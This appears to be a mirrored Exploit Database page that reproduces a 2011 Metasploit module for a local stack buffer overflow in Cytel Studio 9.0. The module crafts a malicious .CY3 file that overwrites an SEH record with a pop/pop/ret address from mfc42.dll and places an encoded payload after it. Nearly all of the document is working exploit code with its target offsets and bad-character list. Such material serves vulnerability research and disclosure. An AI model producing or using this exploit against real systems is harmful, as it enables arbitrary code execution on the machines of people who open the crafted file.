Cytel Studio 9.0 – ‘.CY3’ Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-10-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18027/

• ##
  # $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
  			'Description'=> %q{ 
  					This module exploits a stack based buffer overflow found
  				in Cytel Studio <= 9.0. The overflow is triggered during the
  				copying of strings to a stack buffer of 256 bytes.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[ 
  					'Luigi Auriemma',# Initial Discovery/PoC
  					'James Fitts'# Metasploit Module (Thx Juan & Jeff)
  				],
  			'Version'=> '$Revision: 14041 $',
  			'References' =>
  				[
  					[ 'OSVDB', '75991' ],
  					[ 'BID', '49924' ],
  					[ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space' => 1000,
  					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						# File version 8.0.0.1
  						'Cytel Studio 9.0', 
  						{ 
  							'Ret' => 0x73e58e01, # p/p/r mfc42.dll 
  							'Offset' => 500
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 02 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.cy3']),
  			], self.class)
  	end
  
  	def exploit
  		cy3 ="90\n150 1\n1\test\n"
  		cy3 << rand_text_alpha_upper(target['Offset'])
  		cy3 << generate_seh_record(target.ret)
  		cy3 << rand_text_alpha_upper(8)
  		cy3 << payload.encoded
  		cy3 << rand_text_alpha_upper(5000 - cy3.length)
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(cy3)
  	end
  end
  
  =begin
  During testing, the offset for Jeff was different. But the three of us have NOT
  been unable to reproduce the same problem.All this was tested on:
  XP SP3, Vista SP0/SP1, Win 7
  =end